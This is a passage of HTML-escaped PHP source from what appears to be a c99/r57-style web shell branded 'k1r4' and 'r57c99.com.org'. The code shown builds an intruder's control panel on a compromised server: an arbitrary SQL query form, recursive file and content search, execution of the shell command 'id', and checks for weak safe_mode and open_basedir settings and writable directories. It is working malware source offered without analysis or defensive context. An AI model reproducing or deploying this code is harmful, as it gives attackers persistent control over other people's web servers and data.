if (!function_exists(&amp;quot;mysql_buildwhere&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_buildwhere($array,$sep=&amp;quot; and&amp;quot;,$functs=array())&lt;br /&gt;
{&lt;br /&gt;
 if (!is_array($array)) {$array = array();}&lt;br /&gt;
 $result = &amp;quot;&amp;quot;;&lt;br /&gt;
 foreach($array as $k=&amp;gt;$v)&lt;br /&gt;
 {&lt;br /&gt;
  $value = &amp;quot;&amp;quot;;&lt;br /&gt;
  if (!empty($functs[$k])) {$value .= $functs[$k].&amp;quot;(&amp;quot;;}&lt;br /&gt;
  $value .= &amp;quot;'&amp;quot;.addslashes($v).&amp;quot;'&amp;quot;;&lt;br /&gt;
  if (!empty($functs[$k])) {$value .= &amp;quot;)&amp;quot;;}&lt;br /&gt;
  $result .= &amp;quot;`&amp;quot;.$k.&amp;quot;` = &amp;quot;.$value.$sep;&lt;br /&gt;
 }&lt;br /&gt;
 $result = substr($result,0,strlen($result)-strlen($sep));&lt;br /&gt;
 return $result;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_fetch_all&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_fetch_all($query,$sock)&lt;br /&gt;
{&lt;br /&gt;
 if ($sock) {$result = mysql_query($query,$sock);}&lt;br /&gt;
 else {$result = mysql_query($query);}&lt;br /&gt;
 $array = array();&lt;br /&gt;
 while ($row = mysql_fetch_array($result)) {$array[] = $row;}&lt;br /&gt;
 mysql_free_result($result);&lt;br /&gt;
 return $array;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_smarterror&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_smarterror($type,$sock)&lt;br /&gt;
{&lt;br /&gt;
 if ($sock) {$error = mysql_error($sock);}&lt;br /&gt;
 else {$error = mysql_error();}&lt;br /&gt;
 $error = htmlspecialchars($error);&lt;br /&gt;
 return $error;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_query_form&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_query_form()&lt;br /&gt;
{&lt;br /&gt;
 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;&lt;br /&gt;
 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = &amp;quot;Query was empty&amp;quot;;} echo &amp;quot;&amp;lt;b&amp;gt;Error:&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&amp;quot;.$sql_query_error.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}&lt;br /&gt;
 if ((!$submit) or ($sql_act))&lt;br /&gt;
 {&lt;br /&gt;
  echo &amp;quot;&amp;lt;table border=0&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;form name=\&amp;quot;k1r4_sqlquery\&amp;quot; method=POST&amp;gt;&amp;lt;b&amp;gt;&amp;quot;; if (($sql_query) and (!$submit)) {echo &amp;quot;Do you really want to&amp;quot;;} else {echo &amp;quot;SQL-Query&amp;quot;;} echo &amp;quot;:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;textarea name=sql_query cols=100 rows=10&amp;gt;&amp;quot;.htmlspecialchars($sql_query).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=hidden name=act value=sql&amp;gt;&amp;lt;input type=hidden name=sql_act value=query&amp;gt;&amp;lt;input type=hidden name=sql_tbl value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_tbl).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=submit value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;input type=hidden name=\&amp;quot;sql_goto\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_goto).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=submit name=sql_confirm value=\&amp;quot;Yes\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=submit value=\&amp;quot;No\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br /&gt;
  if ($tbl_struct)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;td valign=\&amp;quot;top\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Fields:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   foreach ($tbl_struct as $field) {$name = $field[&amp;quot;Field&amp;quot;]; echo &amp;quot;» &amp;lt;a href=\&amp;quot;#\&amp;quot; onclick=\&amp;quot;document.k1r4_sqlquery.sql_query.value+='`&amp;quot;.$name.&amp;quot;`';\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.$name.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_create_db&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_create_db($db,$sock=&amp;quot;&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $sql = &amp;quot;CREATE DATABASE `&amp;quot;.addslashes($db).&amp;quot;`;&amp;quot;;&lt;br /&gt;
 if ($sock) {return mysql_query($sql,$sock);}&lt;br /&gt;
 else {return mysql_query($sql);}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;mysql_query_parse&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function mysql_query_parse($query)&lt;br /&gt;
{&lt;br /&gt;
 $query = trim($query);&lt;br /&gt;
 $arr = explode (&amp;quot; &amp;quot;,$query);&lt;br /&gt;
 /*array array()&lt;br /&gt;
 {&lt;br /&gt;
  &amp;quot;METHOD&amp;quot;=&amp;gt;array(output_type),&lt;br /&gt;
  &amp;quot;METHOD1&amp;quot;...&lt;br /&gt;
  ...&lt;br /&gt;
 }&lt;br /&gt;
 if output_type == 0, no output,&lt;br /&gt;
 if output_type == 1, no output if no error&lt;br /&gt;
 if output_type == 2, output without control-buttons&lt;br /&gt;
 if output_type == 3, output with control-buttons&lt;br /&gt;
 */&lt;br /&gt;
 $types = array(&lt;br /&gt;
  &amp;quot;SELECT&amp;quot;=&amp;gt;array(3,1),&lt;br /&gt;
  &amp;quot;SHOW&amp;quot;=&amp;gt;array(2,1),&lt;br /&gt;
  &amp;quot;DELETE&amp;quot;=&amp;gt;array(1),&lt;br /&gt;
  &amp;quot;DROP&amp;quot;=&amp;gt;array(1)&lt;br /&gt;
 );&lt;br /&gt;
 $result = array();&lt;br /&gt;
 $op = strtoupper($arr[0]);&lt;br /&gt;
 if (is_array($types[$op]))&lt;br /&gt;
 {&lt;br /&gt;
  $result[&amp;quot;propertions&amp;quot;] = $types[$op];&lt;br /&gt;
  $result[&amp;quot;query&amp;quot;]  = $query;&lt;br /&gt;
  if ($types[$op] == 2)&lt;br /&gt;
  {&lt;br /&gt;
   foreach($arr as $k=&amp;gt;$v)&lt;br /&gt;
   {&lt;br /&gt;
    if (strtoupper($v) == &amp;quot;LIMIT&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     $result[&amp;quot;limit&amp;quot;] = $arr[$k+1];&lt;br /&gt;
     $result[&amp;quot;limit&amp;quot;] = explode(&amp;quot;,&amp;quot;,$result[&amp;quot;limit&amp;quot;]);&lt;br /&gt;
     if (count($result[&amp;quot;limit&amp;quot;]) == 1) {$result[&amp;quot;limit&amp;quot;] = array(0,$result[&amp;quot;limit&amp;quot;][0]);}&lt;br /&gt;
     unset($arr[$k],$arr[$k+1]);&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 else {return FALSE;}&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if (!function_exists(&amp;quot;k1r4fsearch&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
function k1r4fsearch($d)&lt;br /&gt;
{&lt;br /&gt;
 global $found;&lt;br /&gt;
 global $found_d;&lt;br /&gt;
 global $found_f;&lt;br /&gt;
 global $search_i_f;&lt;br /&gt;
 global $search_i_d;&lt;br /&gt;
 global $a;&lt;br /&gt;
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
 $h = opendir($d);&lt;br /&gt;
 while (($f = readdir($h)) !== FALSE)&lt;br /&gt;
 {&lt;br /&gt;
  if($f != &amp;quot;.&amp;quot; &amp;amp;&amp;amp; $f != &amp;quot;..&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   $bool = (empty($a[&amp;quot;name_regexp&amp;quot;]) and strpos($f,$a[&amp;quot;name&amp;quot;]) !== FALSE) || ($a[&amp;quot;name_regexp&amp;quot;] and ereg($a[&amp;quot;name&amp;quot;],$f));&lt;br /&gt;
   if (is_dir($d.$f))&lt;br /&gt;
   {&lt;br /&gt;
    $search_i_d++;&lt;br /&gt;
    if (empty($a[&amp;quot;text&amp;quot;]) and $bool) {$found[] = $d.$f; $found_d++;}&lt;br /&gt;
    if (!is_link($d.$f)) {k1r4fsearch($d.$f);}&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    $search_i_f++;&lt;br /&gt;
    if ($bool)&lt;br /&gt;
    {&lt;br /&gt;
     if (!empty($a[&amp;quot;text&amp;quot;]))&lt;br /&gt;
     {&lt;br /&gt;
      $r = @file_get_contents($d.$f);&lt;br /&gt;
      if ($a[&amp;quot;text_wwo&amp;quot;]) {$a[&amp;quot;text&amp;quot;] = &amp;quot; &amp;quot;.trim($a[&amp;quot;text&amp;quot;]).&amp;quot; &amp;quot;;}&lt;br /&gt;
      if (!$a[&amp;quot;text_cs&amp;quot;]) {$a[&amp;quot;text&amp;quot;] = strtolower($a[&amp;quot;text&amp;quot;]); $r = strtolower($r);}&lt;br /&gt;
      if ($a[&amp;quot;text_regexp&amp;quot;]) {$bool = ereg($a[&amp;quot;text&amp;quot;],$r);}&lt;br /&gt;
      else {$bool = strpos(&amp;quot; &amp;quot;.$r,$a[&amp;quot;text&amp;quot;],1);}&lt;br /&gt;
      if ($a[&amp;quot;text_not&amp;quot;]) {$bool = !$bool;}&lt;br /&gt;
      if ($bool) {$found[] = $d.$f; $found_f++;}&lt;br /&gt;
     }&lt;br /&gt;
     else {$found[] = $d.$f; $found_f++;}&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 closedir($h);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
if ($act == &amp;quot;gofile&amp;quot;) {if (is_dir($f)) {$act = &amp;quot;ls&amp;quot;; $d = $f;} else {$act = &amp;quot;f&amp;quot;; $d = dirname($f); $f = basename($f);}}&lt;br /&gt;
//Sending headers&lt;br /&gt;
@ob_start();&lt;br /&gt;
@ob_implicit_flush(0);&lt;br /&gt;
function onphpshutdown()&lt;br /&gt;
{&lt;br /&gt;
 global $gzipencode,$ft;&lt;br /&gt;
 if (!headers_sent() and $gzipencode and !in_array($ft,array(&amp;quot;img&amp;quot;,&amp;quot;download&amp;quot;,&amp;quot;notepad&amp;quot;)))&lt;br /&gt;
 {&lt;br /&gt;
  $v = @ob_get_contents();&lt;br /&gt;
  @ob_end_clean();&lt;br /&gt;
  @ob_start(&amp;quot;ob_gzHandler&amp;quot;);&lt;br /&gt;
  echo $v;&lt;br /&gt;
  @ob_end_flush();&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
function k1r4exit()&lt;br /&gt;
{&lt;br /&gt;
 onphpshutdown();&lt;br /&gt;
 exit;&lt;br /&gt;
}&lt;br /&gt;
header(&amp;quot;Expires: Mon, 26 Jul 1997 05:00:00 GMT&amp;quot;);&lt;br /&gt;
header(&amp;quot;Last-Modified: &amp;quot;.gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;).&amp;quot; GMT&amp;quot;);&lt;br /&gt;
header(&amp;quot;Cache-Control: no-store, no-cache, must-revalidate&amp;quot;);&lt;br /&gt;
header(&amp;quot;Cache-Control: post-check=0, pre-check=0&amp;quot;, FALSE);&lt;br /&gt;
header(&amp;quot;Pragma: no-cache&amp;quot;);&lt;br /&gt;
if (empty($tmpdir))&lt;br /&gt;
{&lt;br /&gt;
 $tmpdir = ini_get(&amp;quot;upload_tmp_dir&amp;quot;);&lt;br /&gt;
 if (is_dir($tmpdir)) {$tmpdir = &amp;quot;/tmp/&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
$tmpdir = realpath($tmpdir);&lt;br /&gt;
$tmpdir = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$tmpdir);&lt;br /&gt;
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}&lt;br /&gt;
else {$tmpdir_logs = realpath($tmpdir_logs);}&lt;br /&gt;
if (@ini_get(&amp;quot;safe_mode&amp;quot;) or strtolower(@ini_get(&amp;quot;safe_mode&amp;quot;)) == &amp;quot;on&amp;quot;)&lt;br /&gt;
{&lt;br /&gt;
 $safemode = TRUE;&lt;br /&gt;
 $hsafemode = &amp;quot;&amp;lt;font color=red&amp;gt;ON (secure)&amp;lt;/font&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
else {$safemode = FALSE; $hsafemode = &amp;quot;&amp;lt;font color=green&amp;gt;OFF (no secure)&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
$v = @ini_get(&amp;quot;open_basedir&amp;quot;);&lt;br /&gt;
if ($v or strtolower($v) == &amp;quot;on&amp;quot;) {$openbasedir = TRUE; $hopenbasedir = &amp;quot;&amp;lt;font color=red&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
else {$openbasedir = FALSE; $hopenbasedir = &amp;quot;&amp;lt;font color=green&amp;gt;OFF (not secure)&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
$sort = htmlspecialchars($sort);&lt;br /&gt;
if (empty($sort)) {$sort = $sort_default;}&lt;br /&gt;
$sort[1] = strtolower($sort[1]);&lt;br /&gt;
$DISP_SERVER_SOFTWARE = getenv(&amp;quot;SERVER_SOFTWARE&amp;quot;);&lt;br /&gt;
if (!ereg(&amp;quot;PHP/&amp;quot;.phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= &amp;quot;. PHP/&amp;quot;.phpversion();}&lt;br /&gt;
$DISP_SERVER_SOFTWARE = str_replace(&amp;quot;PHP/&amp;quot;.phpversion(),&amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=phpinfo\&amp;quot; target=\&amp;quot;_blank\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;PHP/&amp;quot;.phpversion().&amp;quot;&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;,htmlspecialchars($DISP_SERVER_SOFTWARE));&lt;br /&gt;
@ini_set(&amp;quot;highlight.bg&amp;quot;,$highlight_bg); //FFFFFF&lt;br /&gt;
@ini_set(&amp;quot;highlight.comment&amp;quot;,$highlight_comment); //#FF8000&lt;br /&gt;
@ini_set(&amp;quot;highlight.default&amp;quot;,$highlight_default); //#0000BB&lt;br /&gt;
@ini_set(&amp;quot;highlight.html&amp;quot;,$highlight_html); //#000000&lt;br /&gt;
@ini_set(&amp;quot;highlight.keyword&amp;quot;,$highlight_keyword); //#007700&lt;br /&gt;
@ini_set(&amp;quot;highlight.string&amp;quot;,$highlight_string); //#DD0000&lt;br /&gt;
if (!is_array($actbox)) {$actbox = array();}&lt;br /&gt;
$dspact = $act = htmlspecialchars($act);&lt;br /&gt;
$disp_fullpath = $ls_arr = $notls = null;&lt;br /&gt;
$ud = urlencode($d);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=windows-1251&amp;quot;&amp;gt;&amp;lt;meta http-equiv=&amp;quot;Content-Language&amp;quot; content=&amp;quot;en-us&amp;quot;&amp;gt;&amp;lt;title&amp;gt;&amp;lt;?php echo getenv(&amp;quot;HTTP_HOST&amp;quot;); ?&amp;gt; - r57c99.com.org&amp;lt;/title&amp;gt;&amp;lt;STYLE&amp;gt;&lt;br /&gt;
TD { FONT-SIZE: 8pt; COLOR: #009900; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0099CC; FONT-FAMILY: Tahoma; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #000099; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #000066; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #000000;}body,td,th { font-family: verdana; color: #CCCCCC; font-size: 11px;}body { background-color: #000000;}&lt;br /&gt;
&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0&amp;gt;&amp;lt;center&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=&amp;quot;100%&amp;quot; bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=&amp;quot;#C0C0C0&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th width=&amp;quot;101%&amp;quot; height=&amp;quot;15&amp;quot; nowrap bordercolor=&amp;quot;#C0C0C0&amp;quot; valign=&amp;quot;top&amp;quot; colspan=&amp;quot;2&amp;quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;font face=Webdings size=6&amp;gt;&amp;lt;b&amp;gt;!&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;font face=&amp;quot;Verdana&amp;quot; size=&amp;quot;5&amp;quot;&amp;gt;&amp;lt;b&amp;gt;r57c99.com.Org &amp;lt;?php echo $shver; ?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;font face=Webdings size=6&amp;gt;&amp;lt;b&amp;gt;!&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Software:&amp;amp;nbsp;&amp;lt;?php echo $DISP_SERVER_SOFTWARE; ?&amp;gt;&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;b&amp;gt;uname -a:&amp;amp;nbsp;&amp;lt;?php echo wordwrap(php_uname(),90,&amp;quot;&amp;lt;br&amp;gt;&amp;quot;,1); ?&amp;gt;&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;?php if (!$win) {echo wordwrap(myshellexec(&amp;quot;id&amp;quot;),90,&amp;quot;&amp;lt;br&amp;gt;&amp;quot;,1);} else {echo get_current_user();} ?&amp;gt;&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Safe-mode:&amp;amp;nbsp;&amp;lt;?php echo $hsafemode; ?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
$d = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$d);&lt;br /&gt;
if (empty($d)) {$d = realpath(&amp;quot;.&amp;quot;);} elseif(realpath($d)) {$d = realpath($d);}&lt;br /&gt;
$d = str_replace(&amp;quot;\\&amp;quot;,DIRECTORY_SEPARATOR,$d);&lt;br /&gt;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}&lt;br /&gt;
$d = str_replace(&amp;quot;\\\\&amp;quot;,&amp;quot;\\&amp;quot;,$d);&lt;br /&gt;
$dispd = htmlspecialchars($d);&lt;br /&gt;
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));&lt;br /&gt;
$i = 0;&lt;br /&gt;
foreach($pd as $b)&lt;br /&gt;
{&lt;br /&gt;
 $t = &amp;quot;&amp;quot;;&lt;br /&gt;
 $j = 0;&lt;br /&gt;
 foreach ($e as $r)&lt;br /&gt;
 {&lt;br /&gt;
  $t.= $r.DIRECTORY_SEPARATOR;&lt;br /&gt;
  if ($j == $i) {break;}&lt;br /&gt;
  $j++;&lt;br /&gt;
 }&lt;br /&gt;
 echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.urlencode($t).&amp;quot;&amp;amp;sort=&amp;quot;.$sort.&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;.htmlspecialchars($b).DIRECTORY_SEPARATOR.&amp;quot;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;quot;;&lt;br /&gt;
 $i++;&lt;br /&gt;
}&lt;br /&gt;
echo &amp;quot;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
if (is_writable($d))&lt;br /&gt;
{&lt;br /&gt;
 $wd = TRUE;&lt;br /&gt;
 $wdt = &amp;quot;&amp;lt;font color=green&amp;gt;[ ok ]&amp;lt;/font&amp;gt;&amp;quot;;&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;&amp;lt;font color=green&amp;gt;&amp;quot;.view_perms(fileperms($d)).&amp;quot;&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
 $wd = FALSE;&lt;br /&gt;
 $wdt = &amp;quot;&amp;lt;font color=red&amp;gt;[ Read-Only ]&amp;lt;/font&amp;gt;&amp;quot;;&lt;br /&gt;
 echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;.view_perms_color($d).&amp;quot;&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
if (is_callable(&amp;quot;disk_free_space&amp;quot;))&lt;br /&gt;
{&lt;br /&gt;
 $free = disk_free_space($d);&lt;br /&gt;
 $total = disk_total_space($d);&lt;br /&gt;
 if ($free === FALSE) {$free = 0;}&lt;br /&gt;
 if ($total === FALSE) {$total = 0;}&lt;br /&gt;
 if ($free &amp;lt; 0) {$free = 0;}&lt;br /&gt;
 if ($total &amp;lt; 0) {$total = 0;}&lt;br /&gt;
 $used = $total-$free;&lt;br /&gt;
 $free_percent = round(100/($total/$free),2);&lt;br /&gt;
 echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Free &amp;quot;.view_size($free).&amp;quot; of &amp;quot;.view_size($total).&amp;quot; (&amp;quot;.$free_percent.&amp;quot;%)&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
$letters = &amp;quot;&amp;quot;;&lt;br /&gt;
if ($win)&lt;br /&gt;
{&lt;br /&gt;
 $v = explode(&amp;quot;\\&amp;quot;,$d);&lt;br /&gt;
 $v = $v[0];&lt;br /&gt;
 foreach (range(&amp;quot;a&amp;quot;,&amp;quot;z&amp;quot;) as $letter)&lt;br /&gt;
 {&lt;br /&gt;
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);&lt;br /&gt;
  if (!$bool) {$bool = is_dir($letter.&amp;quot;:\\&amp;quot;);}&lt;br /&gt;
  if ($bool)&lt;br /&gt;
  {&lt;br /&gt;
   $letters .= &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.urlencode($letter.&amp;quot;:\\&amp;quot;).&amp;quot;\&amp;quot;&amp;quot;.($isdiskette?&amp;quot; onclick=\&amp;quot;return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\&amp;quot;&amp;quot;:&amp;quot;&amp;quot;).&amp;quot;&amp;gt;[ &amp;quot;;&lt;br /&gt;
   if ($letter.&amp;quot;:&amp;quot; != $v) {$letters .= $letter;}&lt;br /&gt;
   else {$letters .= &amp;quot;&amp;lt;font color=green&amp;gt;&amp;quot;.$letter.&amp;quot;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;
   $letters .= &amp;quot; ]&amp;lt;/a&amp;gt; &amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
 if (!empty($letters)) {echo &amp;quot;&amp;lt;b&amp;gt;Detected drives&amp;lt;/b&amp;gt;: &amp;quot;.$letters.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
}&lt;br /&gt;
if (count($quicklaunch) &amp;gt; 0)&lt;br /&gt;
{&lt;br /&gt;
 foreach($quicklaunch as $item)&lt;br /&gt;
 {&lt;br /&gt;
  $item[1] = str_replace(&amp;quot;%d&amp;quot;,urlencode($d),$item[1]);&lt;br /&gt;
  $item[1] = str_replace(&amp;quot;%sort&amp;quot;,$sort,$item[1]);&lt;br /&gt;
  $v = realpath($d.&amp;quot;..&amp;quot;);&lt;br /&gt;
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}&lt;br /&gt;
  $item[1] = str_replace(&amp;quot;%upd&amp;quot;,urlencode($v),$item[1]);&lt;br /&gt;
  echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$item[1].&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.$item[0].&amp;quot;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
echo &amp;quot;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
